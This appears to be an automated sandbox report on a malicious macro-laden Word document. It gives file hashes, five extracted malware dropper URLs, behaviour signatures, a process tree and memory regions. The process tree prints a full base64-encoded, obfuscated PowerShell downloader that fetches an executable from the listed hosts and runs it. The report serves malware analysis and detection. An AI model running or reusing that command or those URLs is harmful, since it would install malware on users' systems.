Analysis

  • max time kernel
    119s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    31-05-2024 02:39

General

  • Target

    85c1d29f4b2564ea18a21b126f35d452_JaffaCakes118.doc

  • Size

    184KB

  • MD5

    85c1d29f4b2564ea18a21b126f35d452

  • SHA1

    72dfd9d840f7f36efbfbb5dadc946789b99cfddf

  • SHA256

    da4a32286266dd17ea5d32ffc84a609dc0dca94a3f8b94e5d58a52839ed6888f

  • SHA512

    65ca31fcd911b2ae0aeec6ba33950973a1410582c14c992b8e7502addf6bd018ee02725dd79a65347a572531e05410167fa1c56bd49b44074f4ee275b8a1139f

  • SSDEEP

    3072:777HUUUUUUUUUUUUUUUUUUUTkOQePu5U8q30Ok925ksd3GEdaTiLexD2wpRg1k:777HUUUUUUUUUUUUUUUUUUUT52V6hkE4

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://ortusbeauty.com/error/tQ_p/

exe.dropper

http://mstreet.com.au/wp-includes/S_bZ/

exe.dropper

http://www.2996316.com/wp-admin/Mh_Q8/

exe.dropper

http://brianmonroney.com/wp-includes/Nb_eL/

exe.dropper

http://dermosaglik.com.tr/store/B_B/

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\85c1d29f4b2564ea18a21b126f35d452_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2968
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2528
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e JABKAEEAQQBCAEcAQQBBAEEAPQAoACIAewAxAH0AewAwAH0AIgAtAGYAIAAnAEEAQQA0ACcALAAnAFEAQQBCACcAKQA7ACQAUwBBAFgAQQBBAFEAQQBYACAAPQAgACcAOQA5ADIAJwA7ACQAZABBAFEAawBBAEEAQgA9ACgAIgB7ADAAfQB7ADEAfQB7ADIAfQAiACAALQBmACcAVwBRACcALAAnAGMAbwBVACcALAAnAFEANABBACcAKQA7ACQAagBrAEEAQgBBAG8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFMAQQBYAEEAQQBRAEEAWAArACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACcALgBlAHgAJwAsACcAZQAnACkAOwAkAFgAWgBVAEQAWABBAD0AKAAiAHsAMQB9AHsAMAB9ACIALQBmACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACAAJwBBAFEAJwAsACcAeABRACcAKQAsACcAVQAnACkALAAnAGkAJwApADsAJABTAHcAbwA0AEEAQQA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBgAGUAVAAuAGAAVwBFAEIAYwBMAGAASQBlAG4AdAA7ACQAcABVAEQAQQB4AEQANABjAD0AKAAiAHsAMwAyAH0AewAzADEAfQB7ADkAfQB7ADEAOQB9AHsANQAyAH0AewAzADQAfQB7ADUAMQB9AHsANAA4AH0AewAyADIAfQB7ADEAOAB9AHsAMQAwAH0AewAzADMAfQB7ADIANAB9AHsAMgA4AH0AewAzADgAfQB7ADQAMgB9AHsANAA1AH0AewAzADcAfQB7ADEAMwB9AHsAMgA1AH0AewAxADIAfQB7ADEANAB9AHsAMQB9AHsANQAzAH0AewA1AH0AewAyADAAfQB7ADQAMQB9AHsANAAzAH0AewA1ADYAfQB7ADMAfQB7ADMAOQB9AHsANQA0AH0AewA2AH0AewAwAH0AewAyADcAfQB7ADIAMQB9AHsAMwA2AH0AewA0ADAAfQB7ADMANQB9AHsANAA3AH0AewAzADAAfQB7ADQANgB9AHsAOAB9AHsANAB9AHsAMQAxAH0AewA0ADQAfQB7ADIANgB9AHsAMQA2AH0AewA3AH0AewA0ADkAfQB7ADEANwB9AHsAMQA1AH0AewA1ADAAfQB7ADUANwB9AHsAMgAzAH0AewA1ADUAfQB7ADIAfQB7ADIAOQB9ACIALQBmACAAJwBAACcALAAnAC8AJwAsACcALwBCAF8AJwAsACcAYQBkAG0AJwAsACgAIgB7ADAAfQB7ADIAfQB7ADEAfQAiAC0AZgAnAC8AJwAsACcAcwAvACcALAAoACIAewAwAH0AewAyAH0AewAxAH0AIgAtAGYAJwB3AHAALQBpAG4AJwAsACcAbAB1AGQAZQAnACwAJwBjACcAKQApACwAJwB3ACcALAAnADgALwAnACwAJwA6AC8ALwAnACwAJwBjAG8AbQAnACwAJwAvAG8AcgAnACwAKAAiAHsAMQB9AHsAMAB9AHsAMgB9ACIALQBmACAAJwByACcALAAnAHIAcgBvACcALAAnAC8AdABRACcAKQAsACcATgBiAF8AJwAsACgAIgB7ADAAfQB7ADIAfQB7ADEAfQAiAC0AZgAnAC8AQAAnACwAJwBwADoAJwAsACcAaAB0AHQAJwApACwAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAJwAvAFMAJwAsACcAZQBzACcAKQAsACcALwAnACwAKAAiAHsAMQB9AHsAMAB9AHsAMgB9ACIALQBmACcAbwAnACwAJwBtACcALAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAgACcAcwBhAGcAJwAsACcAbABpACcAKQApACwAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAJwB0AHQAcAAnACwAJwBoACcAKQAsACcAcgAnACwAJwAvAGUAJwAsACcAdAAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACAAKAAiAHsAMAB9AHsAMQB9ACIALQBmACcAOQA5ADYAJwAsACcAMwAnACkALAAnAHcALgAyACcAKQAsACcAdAAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACAAKAAiAHsAMAB9AHsAMQB9ACIALQBmACcALgBjACcALAAnAG8AbQAnACkALAAnAHQAeQAnACkALAAoACIAewAzAH0AewAyAH0AewAwAH0AewAxAH0AIgAgAC0AZgAgACcALwBzAHQAJwAsACcAbwByACcALAAnAC4AdAByACcALAAnAG0AJwApACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACAAJwA6AC8AJwAsACcALwBtAHMAJwApACwAJwBfAGIAWgAnACwAJwBMAC8AQAAnACwAJwBoAHQAJwAsACgAIgB7ADIAfQB7ADAAfQB7ADEAfQAiAC0AZgAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAnAG0AJwAsACcALgBjAG8AJwApACwAJwAuAGEAJwAsACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcAdAByACcALAAnAGUAZQB0ACcAKQApACwAJwBCAC8AJwAsACcAbgBlAHkAJwAsACcAOgAvACcALAAoACIAewAxAH0AewAwAH0AIgAtAGYAIAAnAHMAJwAsACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACcAdAB0AHAAJwAsACcAaAAnACkAKQAsACgAIgB7ADEAfQB7ADIAfQB7ADAAfQAiAC0AZgAoACIAewAxAH0AewAwAH0AIgAtAGYAJwB0AHAAJwAsACcAaAB0ACcAKQAsACcAXwAnACwAJwBwAC8AQAAnACkALAAnAHMAJwAsACcAcgAnACwAJwBwADoALwAnACwAJwBkACcALAAnAHUALwB3ACcALAAnAGkAbgAvACcALAAoACIAewAxAH0AewAyAH0AewAwAH0AIgAtAGYAIAAoACIAewAwAH0AewAxAH0AIgAtAGYAIAAnAG4AbQAnACwAJwBvAG4AJwApACwAJwAvACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAIAAnAGIAcgAnACwAJwBpAGEAJwApACkALAAnADEANgAnACwAJwBwAC0AJwAsACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACAAKAAiAHsAMAB9AHsAMQB9ACIALQBmACAAJwBtAC8AJwAsACcAdwBwACcAKQAsACcALgBjAG8AJwApACwAJwBlACcALAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAnAGkAbgBjACcALAAnAGwAdQAnACkALAAnAC4AJwAsACcAbwAnACwAJwBhAHUAJwAsACcAZABlACcALAAnAGsAJwAsACcAYgBlACcALAAnAHUAJwAsACcAdwAnACwAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAJwBRACcALAAnAE0AaABfACcAKQAsACcAZQAnACwAJwAtACcALAAnAC4AYwBvACcAKQAuACIAUwBgAHAAbABJAHQAIgAoACcAQAAnACkAOwAkAHMAQQBDAHcAQQBCAEEAXwA9ACgAIgB7ADAAfQB7ADIAfQB7ADEAfQAiAC0AZgAgACcARQBBACcALAAnAEQAJwAsACcAQQB4AHcAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAZABBAEEAQQBYADEAUQAgAGkAbgAgACQAcABVAEQAQQB4AEQANABjACkAewB0AHIAeQB7ACQAUwB3AG8ANABBAEEALgAiAGQATwBgAHcAbgBgAEwAbwBhAGQAZgBJAGAATABFACIAKAAkAGQAQQBBAEEAWAAxAFEALAAgACQAagBrAEEAQgBBAG8AKQA7ACQATgBDAFgAQgBCADEAQQBBAD0AKAAiAHsAMQB9AHsAMgB9AHsAMAB9ACIALQBmACcAQQBCACcALAAnAHoAJwAsACcAQQBBAEEAJwApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAGoAawBBAEIAQQBvACkALgAiAGwAZQBOAGAAZwBgAFQASAAiACAALQBnAGUAIAAzADMANQAzADEAKQAgAHsAJgAoACcASQBuAHYAbwBrAGUAJwArACcALQAnACsAJwBJAHQAZQBtACcAKQAgACQAagBrAEEAQgBBAG8AOwAkAE8AQQA0AFgAQQBDAEQAPQAoACIAewAxAH0AewAyAH0AewAwAH0AIgAtAGYAIAAnAG8AJwAsACcAQQAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAVQAnACwAJwBCAFgAQwAnACkAKQA7AGIAcgBlAGEAawA7ACQAawAxAEIAQQBVAFUANABYAD0AKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAJwB4AEcAJwAsACcAXwBEACcAKQAsACcAVABBADEAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABoAEEAQQA0AF8AQgA9ACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACAAKAAiAHsAMQB9AHsAMAB9ACIALQBmACAAJwBBAFUAQQAnACwAJwBaAG8AJwApACwAJwBqAEMAeAAnACkA
      1⤵
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2720

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      0c97282e743e52760fb67109e5aaad0b

      SHA1

      e6573bf7749bd2f5cafe3fabe020aa7d1d696671

      SHA256

      3882aa9f30c3f11f4a78b8e8034a68133609c8c673f945a6a441bf051e3e8434

      SHA512

      6d7869f1d70f59b4b1dfb94c59283c7415daabdc036a554d0d8476be3baa3082000da1dca1bb84212656aaba15e79362eaa9a9afbec2813da37c6d7ee1819dbb

    • memory/2720-19-0x0000000002240000-0x0000000002248000-memory.dmp

      Filesize

      32KB

    • memory/2720-18-0x000000001B470000-0x000000001B752000-memory.dmp

      Filesize

      2.9MB

    • memory/2968-11-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2968-8-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2968-10-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2968-9-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2968-12-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2968-0-0x000000002F141000-0x000000002F142000-memory.dmp

      Filesize

      4KB

    • memory/2968-7-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2968-2-0x00000000715CD000-0x00000000715D8000-memory.dmp

      Filesize

      44KB

    • memory/2968-27-0x00000000715CD000-0x00000000715D8000-memory.dmp

      Filesize

      44KB

    • memory/2968-28-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2968-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2968-44-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2968-45-0x00000000715CD000-0x00000000715D8000-memory.dmp

      Filesize

      44KB